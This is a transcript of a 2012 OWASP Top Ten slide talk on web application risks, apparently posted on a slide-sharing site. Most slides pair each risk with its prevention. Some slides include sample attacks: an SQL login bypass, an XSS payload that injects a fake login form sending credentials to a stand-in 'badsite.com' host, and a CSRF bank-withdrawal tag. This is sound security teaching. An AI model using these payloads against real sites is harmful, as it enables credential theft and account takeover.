the owasp top ten most critical web application security risks 2012 02 01 n.
Download
Skip this Video
Loading SlideShow in 5 Seconds..
The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01 PowerPoint Presentation
Download Presentation
The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01

Loading in 2 Seconds...

play fullscreen
1 / 36

The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01 - PowerPoint PPT Presentation


  • 128 Views
  • Uploaded on

OWASP Manchester Chapter. The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01. Simon Bennetts OWASP Zed Attack Proxy Project Lead psiinon@gmail.com. The OWASP Top Ten. Most Critical Web Application Security Risks A great place to start

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about 'The OWASP Top Ten Most Critical Web Application Security Risks 2012/02/01' - karah


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
the owasp top ten most critical web application security risks 2012 02 01

OWASP

Manchester Chapter

The OWASP Top TenMost Critical Web Application Security Risks2012/02/01
  • Simon Bennetts
  • OWASP Zed Attack Proxy Project Lead
  • psiinon@gmail.com
the owasp top ten
The OWASP Top Ten
  • Most Critical Web Application Security Risks
  • A great place to start
  • Current list published in 2010
  • Well known and well regarded
  • But … the vast majority of websites still have a high, critical or urgent issue
the owasp top ten1
The OWASP Top Ten
  • A1: Injection
  • A2: Cross-Site Scripting
  • A3: Broken Authentication and Session Management
  • A4: Insecure Direct Object References
  • A5: Cross-Site Request Forgery (CSRF)
  • A6: Security Misconfiguration
  • A7: Insecure Cryptographic Storage
  • A8: Failure to Restrict URL Access
  • A9: Insufficient Transport Layer Protection
  • A10: Unvalidated Redirects or Forwards
a1 injection
A1: Injection
  • Tricking an application into including unintended commands in the data sent to an interpreter
  • SQL, OS Shell, LDAP, Xpath, Hibernate…
  • Impact: SEVERE!
    • Unauthorized application access
    • Unauthorized data access
    • OS access…
a1 injection1
A1: Injection

User

Db

Server

a1 injection sql
A1: Injection (SQL)
  • Example UI:
  • Example code:

String sql = “SELECT * FROM users where username = ʹ” + username + “ʹ and password = ʹ” + password + “ʹ”;

  • Expected SQL:

SELECT * FROM users where username = ʹadminʹ and password = ʹc0rr3ctʹ

  • Resulting SQL query:

SELECT * FROM users where username = ʹadminʹ--ʹand password = ʹanythingʹ

ʹ--

Name:

admin

Login

*******

Password:

a1 injection2
A1: Injection
  • Prevention:
    • Use interfaces that support ‘bind variables’:
      • Prepared Statements
      • Stored Procedures
    • Whitelist input
    • Encode all user input
    • Minimize database privileges
  • OWASP SQL Injection Prevention Cheat sheet
a2 cross site scripting xss
A2: Cross Site Scripting (XSS)
  • Injecting malicious content/code into web pages
  • HTML / javascript most common, but many other technologies also vulnerable:
    • Java, Active X, Flash, RSS, Atom, …
  • Present in 64% of all web applications in 2010
  • Can be present in form and URL parameters AND cookies
a2 cross site scripting xss1
A2: Cross Site Scripting (XSS)
  • Impact:
    • Session hijacking
    • Unauthorized data access
    • Web page rewriting
    • Redirect users (eg to phishing or malware sites)
    • Anything the web application can do…
a2 cross site scripting xss3
A2: Cross Site Scripting (XSS)
  • Forum: “Have you seen XYZ are being taken over??http://tinyurl/jdfgshr”

XYZ – We’re being taken over!

https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%20

Search this site:

Yes, we’re being taken over, but don’t worry:

login to find out why this is a good thing!

Username:

Password:

Login

a2 cross site scripting xss4
A2: Cross Site Scripting (XSS)

XYZ – No Search Result found!

https://www.xyz.com/s=%3C%2Fdiv%3E%E2%80%9C%3Cscript%3Edocument.title%3D%E2%80%98XYZ%2

Search this site:

No search result found for:

  • “</div><script>document.title=‘XYZ – We’re being taken over!’;
  • Document.getElementById(‘results’).style.display=‘none’;
  • </script> Yes, we’re being taken over, but don’t worry:
  • login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’>
  • <tr><td>Username:</td><td><input id=‘user’></td></tr>
  • <tr><td>Password:</td><td><input id=‘password’ type=…”
a2 cross site scripting xss5
A2: Cross Site Scripting (XSS)
  • View Source:

:

<div id = “results”>

<p>No search result found for: </p>

<!-- start of users search term --> “

  • </div><script>document.title=‘XYZ – We’re being taken over!’;
  • Document.getElementById(‘results’).style.display=‘none’;
  • </script>
  • Yes, we’re being taken over, but don’t worry:
  • login to find out why this is a good thing! <table><form action=‘http://badsite.com/gotcha’>
  • <tr><td>Username:</td><td><input id=‘user’></td></tr>
  • <tr><td>Password:</td><td><input id=‘password’ type=…
  • ” <!-- end of users search term -->
  • :
a2 cross site scripting xss6
A2: Cross Site Scripting (XSS)
  • Prevention:
    • Don’t output user supplied input 
    • Whitelist input
    • Encode output (e.g. using OWASP ESAPI)
    • If you must support user supplied HTML, use libraries like OWASP’s AntiSamy
  • OWASP XSS Prevention Cheat sheet
a3 broken authentication and session management
A3: Broken Authentication and Session Management
  • HTTP is stateless
  • Session IDs used to track state, good as credentials to an attacker
  • Can be accessed via sniffer, logs, XSS…
  • Change my password, forgotten my password, secret questions …
  • Impact: sessions hijacked / accounts compromised
a3 broken authentication and session management1
A3: Broken Authentication and Session Management
  • Prevention:
    • Use standard implementations
    • Use SSL for ALL requests
    • Thoroughly test all authentication related functionality
    • Use SECURE & HTTPOnly cookies flags
a4 insecure direct object reference
A4: Insecure Direct Object Reference
  • A direct reference to an object that is not validated on each request
    • user=psiinon@gmail.com
    • company=Mega%20Corp
    • account=7352820
  • Typically in FORM and URL parameters (cookies less likely)
  • Impact: accounts and data compromised
a4 insecure direct object reference1
A4: Insecure Direct Object Reference
  • Attacker notices URL: acct=6065
  • Modifies it to acct=6066
  • Attacker can view (and maybe change?) the victims account
a4 insecure direct object reference2
A4: Insecure Direct Object Reference
  • Prevention:
    • Eliminate Direct Object References (ESAPI supports integer and random mapping)
    • Validate Direct Object References on each request
a5 cross site request forgery
A5: Cross site request forgery
  • Exploits sessions established in other browser windows or tabs
  • Impact: Attacker can perform any action on behalf of the victim
a5 cross site request forgery1
A5: Cross site request forgery

Browser

1

2

4

3

example.bank.com

bad.site.com

<imgsrc=“…”>

$$$

<imgsrc= "https://example.bank.com/withdraw?account=bob&amount=1000000&for=mallory">

5

a5 cross site request forgery2
A5: Cross site request forgery
  • Prevention:
    • Never allow GETs to change things
    • Anti CSRF tokens
      • Viewstate (ASP.NET)
      • OWASP CSRF Guard
    • Challenge-Response
      • Re-Authentication
      • CAPTCHA
a6 security misconfiguration
A6: Security Misconfiguration
  • Another multitude of sins 
  • Server / Application configuration
  • Lack of server and application hardening
  • Unpatched OS, services, libraries
  • Default accounts
  • Detailed error messages (e.g. stack traces)
  • Unprotected files and directories
a6 security misconfiguration1
A6: Security Misconfiguration
  • Impact:
    • Server compromise
    • Exploitation of known vulnerabilities
  • Prevention:
    • Server and application hardening
    • Patch OS, services, libraries
a7 insecure cryptographic storage
A7: Insecure Cryptographic Storage
  • Storage of:
    • Credentials
    • Credit card numbers
    • Bank account details
    • Any sensitive data…
  • In: Databases, Files, Logs, Backups …
  • Either: In the clear, or using weak cryptography
a7 insecure cryptographic storage1
A7: Insecure Cryptographic Storage
  • Impact:
    • Attackers access or modify sensitive data
    • Attackers use sensitive data in further attacks
    • Company embarrassment, loss of trust
    • Company sued or fined
a7 insecure cryptographic storage2
A7: Insecure Cryptographic Storage
  • Prevention:
    • Identify sensitive data
    • Don’t store sensitive data 
    • Protect with suitable mechanisms (file, db, element encryption)
    • Only use standard, well recognised algorithms
    • Check your implementation!
a8 failure to restrict url access
A8: Failure to restrict URL access
  • ‘Hidden content’ with no authentication or access control
  • Unprotected administrative pages
  • robots.txt 
  • Impact:
    • Unauthorized account and data access
    • Access to administrative functionality
a8 failure to restrict url access1
A8: Failure to restrict URL access
  • Prevention:
    • For ALL (non public) URLs always check authentication and permissions
    • Use a simple ‘fail safe’ mechanisms at each layer of your application
a9 insufficient transport layer protection
A9: Insufficient Transport Layer Protection
  • Failure to identify all sensitive data
  • Failure to identify all places that the sensitive data is transmitted
  • Failure to employ suitable protection
a9 insufficient transport layer protection1
A9: Insufficient Transport Layer Protection
  • Impact:
    • Attackers access or modify sensitive data
    • Attackers use sensitive data in further attacks
    • Company embarrassment, loss of trust
    • Company sued or fined
a9 insufficient transport layer protection2
A9: Insufficient Transport Layer Protection
  • Prevention:
    • Use SSL/TLS on all connections that transmit sensitive data
    • Encrypt messages: XML-Encryption
    • Sign messages: XML-Signature
    • Only use standard, well recognised algorithms
    • Check your implementation!
a10 unvalidated redirects and forwards
A10: Unvalidated Redirects and Forwards
  • Redirects are common and send the user to a new site .. which could be malicious if not validated!http://fail.com/redir.php?url=badsite.com
  • Forwards (Transfers) send the request to a new page in the same application .. which could bypass authentication or authorizationhttp://fail.com/redir.php?url=admin.php
a10 unvalidated redirects and forwards1
A10: Unvalidated Redirects and Forwards
  • Impact:
    • Redirect victim to phishing or malware site
    • Attacker’s request is forwarded past security checks, allowing unauthorized function or data access
  • Prevention:
    • Validate all Redirects and Forwards 
where next
Where Next?
  • Read and understand the full document!
  • Read the OWASP Developers Guide
  • Watch the OWASP AppSec Tutorial videos on youtube
  • Re-examine your code!
  • Introduce a Secure Development Lifecycle
  • Use tools like the OWASP Zed Attack Proxy 